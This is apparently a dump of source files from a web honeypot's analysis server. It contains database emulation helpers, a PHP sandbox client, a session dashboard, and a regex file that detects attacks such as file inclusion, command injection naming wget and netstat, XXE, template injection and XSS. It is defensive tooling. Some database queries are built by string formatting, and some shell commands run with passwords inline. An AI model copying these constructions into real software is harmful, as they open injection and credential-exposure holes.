@staticmethod def generate_dummy_data(data_tokens): """ Insert dummy data based on data tokens I - integer id L - login/username E - email P - password T - piece of text :return: """ token_list = data_tokens.split(",") samples_count = random.randint(100, 1000) inserted_data = [] for i in range(samples_count): values = [] person = mimesis.Person("en") for token in token_list: person = mimesis.Person() if token == "I": values.append(i) if token == "L": data = person.username() values.append(data) if token == "E": data = person.email() values.append(data) if token == "P": data = person.password() values.append(data) if token == "T": sample_length = random.randint(1, 10) data = mimesis.Text().text(quantity=sample_length) values.append(data) inserted_data.append(tuple(values)) return inserted_data, token_list ================================================ FILE: tanner/utils/logger.py ================================================ import logging import logging.handlers from tanner.config import TannerConfig class LevelFilter(logging.Filter): """Filters (lets through) all messages with level < LEVEL""" def __init__(self, level): self.level = level def filter(self, record): # "<" instead of "<=": since logger.setLevel is inclusive, this should be exclusive return record.levelno < self.level class Logger: @staticmethod def create_logger(debug_filename, err_filename, logger_name): if TannerConfig.get("CLEANLOG", "enabled") == "True": with open(err_filename, "w"): pass logger = logging.getLogger(logger_name) logger.setLevel(logging.DEBUG) logger.propagate = False formatter = logging.Formatter( fmt="%(asctime)s %(levelname)s:%(name)s:%(funcName)s: %(message)s", datefmt="%Y-%m-%d %H:%M:%S" ) # ERROR log to 'tanner.err' error_log_handler = logging.handlers.RotatingFileHandler(err_filename, encoding="utf-8") error_log_handler.setLevel(logging.ERROR) error_log_handler.setFormatter(formatter) logger.addHandler(error_log_handler) # DEBUG log to 'tanner.log' debug_log_handler = logging.handlers.RotatingFileHandler(debug_filename, encoding="utf-8") debug_log_handler.setLevel(logging.DEBUG) debug_log_handler.setFormatter(formatter) max_level_filter = LevelFilter(logging.ERROR) debug_log_handler.addFilter(max_level_filter) logger.addHandler(debug_log_handler) return logger ================================================ FILE: tanner/utils/mysql_db_helper.py ================================================ import logging import subprocess import aiomysql from tanner.config import TannerConfig from tanner.utils.base_db_helper import BaseDBHelper class MySQLDBHelper(BaseDBHelper): # Helper Utility of basic functions for mysqli emulator def __init__(self): super(MySQLDBHelper, self).__init__() self.logger = logging.getLogger("tanner.db_helper.MySQLDBHelper") async def connect_to_db(self): """ Creates a aiomysql connection :return: connection object """ conn = await aiomysql.connect( host=TannerConfig.get("SQLI", "host"), user=TannerConfig.get("SQLI", "user"), password=TannerConfig.get("SQLI", "password"), ) return conn async def check_db_exists(self, db_name): """ Checks if DB exists or not :param db_name (str): mysql db name :return: result (int): 0 if no such database exists else 1 """ conn = await self.connect_to_db() cursor = await conn.cursor() check_DB_exists_query = "SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA " check_DB_exists_query += "WHERE SCHEMA_NAME='{db_name}'".format(db_name=db_name) await cursor.execute(check_DB_exists_query) result = await cursor.fetchall() return len(result) async def setup_db_from_config(self, name=None): """ Helper function to setup DB from db_config.json and inserts dummy data in the created DB. :param name (str): database name """ config = self.read_config() if name is not None: db_name = name else: db_name = config["name"] conn = await self.connect_to_db() cursor = await conn.cursor() create_db_query = "CREATE DATABASE {db_name}" await cursor.execute(create_db_query.format(db_name=db_name)) await cursor.execute("USE {db_name}".format(db_name=db_name)) for table in config["tables"]: query = table["schema"] await cursor.execute(query) await self.insert_dummy_data(table["table_name"], table["data_tokens"], cursor) await conn.commit() conn.close() async def delete_db(self, db): """ Deletes the database :param db (str): db name to be deleted """ conn = await self.connect_to_db() cursor = await conn.cursor() delete_db_query = "DROP DATABASE {db_name}" await cursor.execute(delete_db_query.format(db_name=db)) await conn.commit() conn.close() async def copy_db(self, user_db, attacker_db): """ Copies the user database to new attacker database :param user_db (str): existing user db :param attacker_db (str): new db to be created :return: new created db (str) """ db_exists = await self.check_db_exists(attacker_db) if db_exists: self.logger.info("Attacker db already exists") else: # create new attacker db conn = await self.connect_to_db() cursor = await conn.cursor() await cursor.execute("CREATE DATABASE {db_name}".format(db_name=attacker_db)) conn.close() # copy user db to attacker db dump_db_cmd = "mysqldump -h {host} -u {user} -p{password} {db_name}" restore_db_cmd = "mysql -h {host} -u {user} -p{password} {db_name}" dump_db_cmd = dump_db_cmd.format( host=TannerConfig.get("SQLI", "host"), user=TannerConfig.get("SQLI", "user"), password=TannerConfig.get("SQLI", "password"), db_name=user_db, ) restore_db_cmd = restore_db_cmd.format( host=TannerConfig.get("SQLI", "host"), user=TannerConfig.get("SQLI", "user"), password=TannerConfig.get("SQLI", "password"), db_name=attacker_db, ) try: dump_db_process = subprocess.Popen(dump_db_cmd, stdout=subprocess.PIPE, shell=True) restore_db_process = subprocess.Popen(restore_db_cmd, stdin=dump_db_process.stdout, shell=True) dump_db_process.stdout.close() dump_db_process.wait() restore_db_process.wait() except subprocess.CalledProcessError as e: self.logger.exception("Error during copying sql database : %s" % e) return attacker_db async def insert_dummy_data(self, table_name, data_tokens, cursor): """ Inserts dummy data in the table based on input data tokens for ex: 'I,L' :param table_name (str): table in which data to be inserted :param data_tokens (str): input data format tokens :param cursor (object): current db cursor """ inserted_data, token_list = self.generate_dummy_data(data_tokens) inserted_string_patt = "%s" if len(token_list) > 1: inserted_string_patt += "," inserted_string_patt *= len(token_list) inserted_string_patt = inserted_string_patt[:-1] await cursor.executemany("INSERT INTO " + table_name + " VALUES(" + inserted_string_patt + ")", inserted_data) async def create_query_map(self, db_name): """ Returns a query map of the tables and its columns present in the database :param db_name (str): current database :return: query_map (dict): Created Query Map """ query_map = {} tables = [] conn = await self.connect_to_db() cursor = await conn.cursor() select_tables = "SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema= '{db_name}'" try: await cursor.execute(select_tables.format(db_name=db_name)) result = await cursor.fetchall() for row in result: tables.append(row[0]) except Exception as e: self.logger.exception("Error during query map creation") else: query_map = dict.fromkeys(tables) for table in tables: query = "SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE \ table_name= '{table_name}' AND table_schema= '{db_name}'" columns = [] try: await cursor.execute(query.format(table_name=table, db_name=db_name)) result = await cursor.fetchall() for row in result: if row[7] == "int": columns.append(dict(name=row[3], type="INTEGER")) else: columns.append(dict(name=row[3], type="TEXT")) query_map[table] = columns except Exception: self.logger.exception("Error during query map creation") return query_map ================================================ FILE: tanner/utils/patterns.py ================================================ import re INDEX = re.compile(r"(/index.html|/)") RFI_ATTACK = re.compile(r".*((http(s){0,1}|ftp(s){0,1}):).*", re.IGNORECASE) LFI_ATTACK = re.compile(r".*(/\.\.)*(home|proc|usr|etc)/.*") LFI_FILEPATH = re.compile(r"((\.\.|/).*)") CMD_ATTACK = re.compile( r".*[^A-z:./]" r"(alias|cat|cd|cp|echo|exec|find|for|grep|ifconfig|ls|man|mkdir|netstat|ping|ps|pwd|uname|wget|touch|while)" r"([^A-z:./]|\b)" ) PHP_CODE_INJECTION = re.compile(r".*(;)*(echo|system|print|phpinfo)(\(.*\)).*") PHP_OBJECT_INJECTION = re.compile(r"(^|;|{|})O:[0-9]+:") CRLF_ATTACK = re.compile(r".*(\r\n).*") XXE_INJECTION = re.compile(r".*<(\?xml|(!DOCTYPE.*)).*>") TEMPLATE_INJECTION_MAKO = re.compile(r".*(<%.*|\s%>).*") TEMPLATE_INJECTION_TORNADO = re.compile(r".*({{.*}}).*") XSS_ATTACK = re.compile(r".*<(.|\n)*?>") REMOTE_FILE_URL = re.compile(r"(.*(http(s){0,1}|ftp(s){0,1}):.*)") WORD_PRESS_CONTENT = re.compile(r"/wp-content/.*") HTML_TAGS = re.compile(r".*<(.*)>.*") QUERY = re.compile(r".*\?.*=") ================================================ FILE: tanner/utils/php_sandbox_helper.py ================================================ import logging import asyncio import aiohttp from tanner import config class PHPSandboxHelper: def __init__(self, loop): self.logger = logging.getLogger("tanner.php_sandbox_helper.PHPSandboxHelper") self._loop = loop if loop is not None else asyncio.get_event_loop() async def get_result(self, code): """ Helper utility to get injection results from PHPOX :param code: Payload from the attacker to be injected in vulnerable code :return: Dict object containing file_md5 and stdout - contains injection results """ result = None phpox_address = "http://{host}:{port}".format( host=config.TannerConfig.get("PHPOX", "host"), port=config.TannerConfig.get("PHPOX", "port") ) try: async with aiohttp.ClientSession(loop=self._loop) as session: async with session.post(phpox_address, data=code) as resp: result = await resp.json() except aiohttp.ClientError as client_error: self.logger.error("Error during connection to php sandbox %s", client_error) finally: await session.close() return result ================================================ FILE: tanner/utils/sqlite_db_helper.py ================================================ import logging import os import shutil import sqlite3 from tanner.utils.base_db_helper import BaseDBHelper class SQLITEDBHelper(BaseDBHelper): def __init__(self): super(SQLITEDBHelper, self).__init__() self.logger = logging.getLogger("tanner.sqlite_db_helper.SQLITEDBHelper") async def setup_db_from_config(self, working_dir, name=None): """ Creates database using config (dict object containing name and tables as keys) :param working_dir: Current working directory :param name: Name of database to be created """ config = self.read_config() if name is not None: db_name = os.path.join(working_dir, name) else: db_name = os.path.join(working_dir, config["name"]) conn = sqlite3.connect(db_name) cursor = conn.cursor() for table in config["tables"]: query = table["schema"] cursor.execute(query) await self.insert_dummy_data(table["table_name"], table["data_tokens"], cursor) conn.commit() conn.close() @staticmethod def get_abs_path(path, working_dir): """ Returns the full path with working directory :param path (str): Current path :param working_dir (str): Current working directory :return: str of full path """ if not os.path.isabs(path): path = os.path.normpath(os.path.join(working_dir, path)) return path @staticmethod def delete_db(db): if db is not None and os.path.exists(db): os.remove(db) def copy_db(self, src, dst, working_dir): src = self.get_abs_path(src, working_dir) dst = self.get_abs_path(dst, working_dir) if os.path.exists(dst): self.logger.info("Attacker db already exists") else: shutil.copy(src, dst) return dst async def insert_dummy_data(self, table_name, data_tokens, cursor): """ Inserts Dummy data in the current sqlite database :param table_name (str): Table to inject dummy data :param data_tokens (str): Tokens to generate dummy data, eg: 'I,L' to get integer ID and username data :param cursor (object): Cursor attached with current DB """ inserted_data, token_list = self.generate_dummy_data(data_tokens) inserted_string_patt = "?" if len(token_list) > 1: inserted_string_patt += "," inserted_string_patt *= len(token_list) inserted_string_patt = inserted_string_patt[:-1] cursor.executemany("INSERT INTO " + table_name + " VALUES(" + inserted_string_patt + ")", inserted_data) def create_query_map( self, working_dir, db_name, ): """ Returns a query map from all the present tables and its columns :param working_dir (str): Current working directory :param db_name (str): Current sqlite database :return: Dict object with tables names as keys and list of columns as its values """ query_map = {} tables = [] db = os.path.join(working_dir, db_name) conn = sqlite3.connect(db) cursor = conn.cursor() select_tables = "SELECT name FROM sqlite_master WHERE type='table'" try: for row in cursor.execute(select_tables): tables.append(row[0]) except sqlite3.OperationalError as sqlite_error: self.logger.exception("Error during query map creation: %s", sqlite_error) else: query_map = dict.fromkeys(tables) for table in tables: query = "PRAGMA table_info(" + table + ")" columns = [] try: for row in cursor.execute(query): columns.append(dict(name=row[1], type=row[2])) query_map[table] = columns except sqlite3.OperationalError as sqlite_error: self.logger.exception("Error during query map creation: %s", sqlite_error) return query_map ================================================ FILE: tanner/web/__init__.py ================================================ ================================================ FILE: tanner/web/server.py ================================================ import asyncio import logging import aiohttp_jinja2 import jinja2 from aiohttp import web from tanner.api import api from tanner import redis_client from tanner.config import TannerConfig from tanner import __version__ as tanner_version class TannerWebServer: def __init__(self): self.logger = logging.getLogger("tanner.web.tannerwebserver") self.api = None self.redis_client = None @aiohttp_jinja2.template("index.html") async def handle_index(self, request): snares = await self.api.return_snares() latest_session = await self.api.return_latest_session() count = len(snares) return {"count": count, "l_session": latest_session, "version": tanner_version} @aiohttp_jinja2.template("snares.html") async def handle_snares(self, request): snares = await self.api.return_snares() return {"snares": snares} @aiohttp_jinja2.template("snare.html") async def handle_snare(self, request): snare_uuid = request.match_info["snare_uuid"] return {"snare": snare_uuid} @aiohttp_jinja2.template("snare-stats.html") async def handle_snare_stats(self, request): snare_uuid = request.match_info["snare_uuid"] snare_stats = await self.api.return_snare_stats(snare_uuid) return {"snare_stats": snare_stats} @aiohttp_jinja2.template("sessions.html") async def handle_sessions(self, request): snare_uuid = request.match_info["snare_uuid"] page_id = int(request.match_info["page_id"]) params = request.url.query applied_filters = {"snare_uuid": snare_uuid} try: if "filters" in params: for filt in params["filters"].split(): applied_filters[filt.split(":")[0]] = filt.split(":")[1] if "start_time" in applied_filters: applied_filters["start_time"] = float(applied_filters["start_time"]) if "end_time" in applied_filters: applied_filters["end_time"] = float(applied_filters["end_time"]) except Exception as e: self.logger.exception("Filter error : %s" % e) result = "Invalid filter definition" else: sessions = await self.api.return_sessions(applied_filters) result = sessions[15 * (page_id - 1) : 15 * page_id] next_val = None pre_val = None if page_id * 15 <= len(sessions): next_val = "/{snare_uuid}/sessions/page/{page_id}".format( snare_uuid=snare_uuid, page_id=str(page_id + 1) ) if len(applied_filters) > 1: next_val += "?filters={filters}".format(filters=params["filters"]) if page_id > 1: pre_val = "/{snare_uuid}/sessions/page/{page_id}".format( snare_uuid=snare_uuid, page_id=str(page_id - 1) ) if len(applied_filters) > 1: pre_val += "?filters={filters}".format(filters=params["filters"]) return {"sessions": result, "next_val": next_val, "pre_val": pre_val} @aiohttp_jinja2.template("session.html") async def handle_session_info(self, request): sess_uuid = request.match_info["sess_uuid"] session = await self.api.return_session_info(sess_uuid) return {"session": session} async def on_shutdown(self, app): await self.redis_client.close() def setup_routes(self, app): app.router.add_get("/", self.handle_index) app.router.add_get("/snares", self.handle_snares) app.router.add_resource("/snare/{snare_uuid}").add_route("GET", self.handle_snare) app.router.add_resource("/snare-stats/{snare_uuid}").add_route("GET", self.handle_snare_stats) app.router.add_resource("/session/{sess_uuid}").add_route("GET", self.handle_session_info) app.router.add_resource("/{snare_uuid}/sessions/page/{page_id}").add_route("GET", self.handle_sessions) app.router.add_static("/static/", path="tanner/web/static") async def make_app(self): app = web.Application() aiohttp_jinja2.setup(app, loader=jinja2.FileSystemLoader("tanner/web/templates")) app.on_shutdown.append(self.on_shutdown) self.setup_routes(app) return app def start(self): loop = asyncio.get_event_loop() self.redis_client = loop.run_until_complete(redis_client.RedisClient.get_redis_client(poolsize=20)) self.api = api.Api(self.redis_client) host = TannerConfig.get("WEB", "host") port = int(TannerConfig.get("WEB", "port")) web.run_app(self.make_app(), host=host, port=port) ================================================ FILE: tanner/web/static/css/styles.css ================================================ table { border-collapse: collapse; width: 80%; } th, td { padding: 8px; text-align: left; border-bottom: 1px solid #ddd; } tr:hover{ background-color:#f5f5f5 } ================================================ FILE: tanner/web/static/js/site.js ================================================ function findGetParameter(parameterName) { var result = null, tmp = []; location.search .substr(1) .split("&") .forEach(function (item) { tmp = item.split("="); if (tmp[0] === parameterName) result = decodeURIComponent(tmp[1]); }); return result; } document.getElementById('filters').value = findGetParameter("filters"); ================================================ FILE: tanner/web/templates/base.html ================================================
{% block content%}
{% endblock%}
================================================
FILE: tanner/web/templates/index.html
================================================
{% extends "base.html" %}
{% block title %}Home{% endblock %}
{% block content %}
Tannerweb
Tanner version - {{version}}
No. of snares connected - {{count}}
{% if l_session is not none %}Latest session - {{l_session}}
{% endif %}Click here to navigate to the snares list.
SESSION INFO
| Key | Value |
|---|---|
| UUID | {{session.sess_uuid}} |
| IP | {{session.peer_ip}} |
| Location | {{session.location}} |
| Port | {{session.peer_port}} |
| User Agents | {{session.user_agent}} |
| Snare UUID | {{session.snare_uuid}} |
| Start time | {{session.start_time}} |
| End time | {{session.end_time}} |
| Requests/sec | {{session.requests_in_second}} |
| Time between requests | {{session.approx_time_between_requests}} |
| Paths | {{session.accepted_paths}} |
| Errors | {{session.errors}} |
| Hidden Links | {{session.hidden_links}} |
| Attacks |
{% for attack, v in session.attack_count.items() %}
{{attack}} - {{v}} {% endfor %} |
| Paths |
{% for path in session.paths %}
{{path}} {% endfor %} |
| Cookies |
{% for key, val in session.cookies.items() %}
{{key}} : {{val}} {% endfor %} |
| Referer | {{session.referer}} |
| Possible Owners |
{% for owner, cf in session.possible_owners.items() %}
{{owner}} : {{cf}} {% endfor %} |
SNARE-SESSIONS
| No | Session-uuid | IP | Owner |
|---|---|---|---|
| {{loop.index}} | {{sess.sess_uuid}} | {{sess.peer_ip}} | {{sess.possible_owners|join(', ')}} |
{% endblock %} ================================================ FILE: tanner/web/templates/snare-stats.html ================================================ {% extends "base.html" %} {% block title %}SNARE-STATS{% endblock %} {% block content %}
SNARE-STATS
| Key | Value |
|---|---|
| No of Sessions | {% if 'total_sessions' in snare_stats %}{{snare_stats.total_sessions}} | {% endif %}
| Total Duration | {% if 'total_duration' in snare_stats %}{{snare_stats.total_duration}} | {% endif %}
| Attack Frequency |
{% if 'attack_frequency' in snare_stats %}
{% for key, val in snare_stats.attack_frequency.items() %}
{{key}} : {{val}} {% endfor %} {% endif %} |
{{snare}}
Snare-Stats
Sessions
{% endblock %} ================================================ FILE: tanner/web/templates/snares.html ================================================ {% extends "base.html" %} {% block title %}Snares{% endblock %} {% block content %}SNARE-UUIDS
| No | Snare-uuid |
|---|---|
| {{loop.index}} | {{snare}} |